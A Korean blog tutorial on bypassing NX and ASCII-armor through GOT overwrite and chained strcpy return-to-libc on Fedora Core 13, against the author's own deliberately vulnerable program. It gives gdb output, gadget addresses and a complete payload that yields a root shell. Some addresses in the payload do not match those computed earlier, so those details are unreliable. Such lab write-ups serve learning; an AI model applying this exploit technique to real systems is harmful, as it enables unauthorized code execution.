티스토리 뷰
NX-Bit와 ASCII-Armor 우회하기 ( ROP기법 초급 )
환경 : Fedora Core - 13
원래 Full-ASLR 기법이 적용되어 있지만 사용안함 설정 해놨음.
[root@localhost bypass-NX_and_ASCII]# echo 0 > /proc/sys/kernel/randomize_va_space
[root@localhost bypass-NX_and_ASCII]# cat /proc/sys/kernel/randomize_va_space
0
취약점이 있는 코드
// gcc -o vuln vuln.c -fno-stack-protector -fno-pie -mpreferred-stack-boundary=2
// 코드가 약간 억지스럽지만 단순히 실습용이기 때문에 상관없음
#include <stdio.h>
#include <string.h>
char fake_buffer[ ] = "\x00\x00\xf0\xbb\x67\x00\xbb\x67\xbf\x1f\x06\x34\x31\x78\xdb\x65\x00";
void myFunc( char * );
int main( int argc, char **argv ) {
myFunc( argv[1] ); // 취약한 부분
printf( "hello\n" );
return 0;
}
void myFunc( char *input ) {
char buffer[500];
strcpy( buffer, input );
printf( "buffer is %s\n", buffer );
}
시나리오
일단 puts()의 got를 overwrite하여 system 함수가 실행되게 한다. 그렇기 위해서는 strcpy로 덮어 주어야 함
주소는 4바이트, strcpy가 4번 실행돼야 한다. 체이닝 RTL기법을 사용하도록 하자.
strcpy의 구조는 strcpy + "RET" + "DEST" + "SOUR" 이다. 인자가 2개이기 때문에
pop을 2번하여 ret를 지정해주어야 하기 때문에 pop - pop - ret 를 찾아야 한다.
(gdb) r $(python -c 'print "\x41" * 504 + "\x42" * 4')
Starting program: /root/system/bypass-NX_and_ASCII/vuln $(python -c 'print "\x41" * 512 + "\x42" * 4')
buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
ret구간 확인 buffer 500 + SFP 4 -> 504
사용하고 있는 함수 확인
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x080482d4 _init
0x08048314 __gmon_start__
0x08048314 __gmon_start__@plt
0x08048324 __libc_start_main
0x08048324 __libc_start_main@plt
0x08048334 strcpy
0x08048334 strcpy@plt
0x08048344 printf
0x08048344 printf@plt
0x08048354 puts
0x08048354 puts@plt
0x08048370 _start
0x080483a0 __do_global_dtors_aux
0x08048400 frame_dummy
0x08048424 main
0x08048450 myFunc
구간을 알 필요 없지만 plt와 got 구간 확인
[root@localhost bypass-NX_and_ASCII]# readelf -S vuln
...생략
[12] .plt PROGBITS 08048304 000304 000060 04 AX 0 0 4
[13] .text PROGBITS 08048370 000370 0001bc 00 AX 0 0 16
[14] .fini PROGBITS 0804852c 00052c 00001c 00 AX 0 0 4
[15] .rodata PROGBITS 08048548 000548 000021 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 0804856c 00056c 000024 00 A 0 0 4
[17] .eh_frame PROGBITS 08048590 000590 00007c 00 A 0 0 4
[18] .ctors PROGBITS 0804960c 00060c 000008 00 WA 0 0 4
[19] .dtors PROGBITS 08049614 000614 000008 00 WA 0 0 4
[20] .jcr PROGBITS 0804961c 00061c 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08049620 000620 0000c8 08 WA 6 0 4
[22] .got PROGBITS 080496e8 0006e8 000004 04 WA 0 0 4
..생략
사용할 페이로드는 다음과 같다.
페이로드 구조
JUNK + strcpy@plt + pop pop ret + GOT_of_puts[0] + address of byte [1] +
strcpy@plt + pop pop ret + GOT_of_puts[1] + address of byte[2] +
strcpy@plt + pop pop ret + GOT_of_puts[2] + address of byte[3] +
strcpy@plt + pop pop ret + GOT_of_puts[3] + address of byte[4] +
PLT_of_puts + JUNK (instead of exit()) + address of /bin/bash
찾아야 할 것은 system 함수와 pop pop ret이다. 우선 두개를 먼저 찾도록 하자.
(gdb) disas __do_global_ctors_aux
Dump of assembler code for function __do_global_ctors_aux:
0x08048500 (__do_global_ctors_aux)
...생략
0x08048528 <__do_global_ctors_aux+40>: pop ebx
0x08048529 <__do_global_ctors_aux+41>: pop ebp
0x0804852a <__do_global_ctors_aux+42>: ret --> pop - pop - ret를 찾았다.
..생략
pop2ret의 주소 0x08048528
그리고 흩어져 있는 조각을 찾도록 하겠다.
GDB를 통하여 찾아보도록 하자.
(gdb) find /b 0x08049610, 0x08049720, 0xf0
0x80496ac <_DYNAMIC+144>
0x804970e <fake_buffer+2>
2 patterns found.
(gdb) find /b 0x08049610, 0x08049720, 0xbb
0x804970f <fake_buffer+3>
0x8049712 <fake_buffer+6>
2 patterns found.
(gdb) find /b 0x08049610, 0x08049720, 0x67
0x8049710 <fake_buffer+4>
0x8049713 <fake_buffer+7>
2 patterns found.
(gdb) find /b 0x08049610, 0x08049720, 0x00
0x804970d <fake_buffer+1>
0x8049711 <fake_buffer+5>
0x804971c <fake_buffer+16>
0x804971d <fake_buffer+17>
find 명령어의 구성은
find /b 시작 주소, 끝주소, 찾을 내용
이다.
[root@localhost bypass-NX_and_ASCII]# env | grep SHELL
SHELL=/bin/sh
환경변수에 "/bin/sh"문자열을 올려두고
[root@localhost bypass-NX_and_ASCII]# ./get_env SHELL ./vuln
SHELL's ADDRESS [ 0xbffff7de ]
주소를 구하면 0xbffff7de 가 나온다.
get_env.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ( int argc, char **argv ) {
char *ptr;
ptr = getenv( argv[1] );
ptr += (strlen( argv[0] ) - strlen( argv[2] )) * 2;
printf ( "%s's ADDRESS [ %p ]\n\n", argv[1], ptr );
return 0;
}
그래서 모든 주소를 구하면 다음과 같다.
system
->0x67bbf0
strcpy
->0x08048334
-> \x34\x83\x04\x08
puts
->0x08048354
-> \x54\x83\x04\x08
GOT_puts
-> 0x8049708
-> \x08\x97\x04\x08
pop2ret
-> 0x08048528
-> \x28\x85\x04\x08
0x00
-> 0x804970d
-> \x0d\x97\x04\x08
0xf0
-> 0x804970e
-> \x0e\x97\x04\x08
0xbb
-> 0x804970f
-> \x0e\x97\x04\x08
0x67
-> 0x8049710
-> \x10\x97\x04\x08
/bin/sh
-> 0xbffff7de
-> \xde\xf7\xff\xbf
그 다음 구한 주소를 그냥 페이로드에 대입만 해주면 쉽게 익스플로잇에 성공할 수 있다.
$(python -c 'print "\x44" * 504 + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x04\x97\x04\x08" + "\x0e\x97\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x05\x97\x04\x08" + "\x0f\x87\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x06\x97\x04\x08" + "\x10\x87\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x07\x97\x04\x08" + "\x0d\x86\x04\x08" + "\x54\x83\x04\x08" + "\x41\x41\x41\x41" + "\xde\xf7\xff\xbf"')
[root@localhost bypass-NX_and_ASCII]# ./vuln $(python -c 'print "\x44" * 504 + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x04\x97\x04\x08" + "\x0e\x97\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x05\x97\x04\x08" + "\x0f\x87\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x06\x97\x04\x08" + "\x10\x87\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x07\x97\x04\x08" + "\x0d\x86\x04\x08" + "\x54\x83\x04\x08" + "\x41\x41\x41\x41" + "\xde\xf7\xff\xbf"')
buffer is DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDTAAAA߷ÿ¿DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD4(4(4(4(
Xshellsh-4.1#
sh-4.1#
sh-4.1#
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.1# ls
exploit.py find_arg_for_system find_arg_for_system.c get_env get_env.c vuln vuln.c
sh-4.1#
쉘 획득에 성공했다.
이제 ASLR도 켜서 ROP기법을 익혀보도록 하자
'Pwnable > Technique' 카테고리의 다른 글
문제풀이로 보는 Integer Overflow 기법 (0) | 2015.02.01 |
---|---|
mprotect() 함수 이용하여 Exploit하기 (0) | 2015.01.16 |
Bypass NX-Bit And ASCII-Armor Python 익스플로잇 (3) | 2014.11.10 |
FSB를 이용한 GOT_OVERWRITE (0) | 2014.10.02 |
간단한 GOT Overwrite (3) | 2014.10.02 |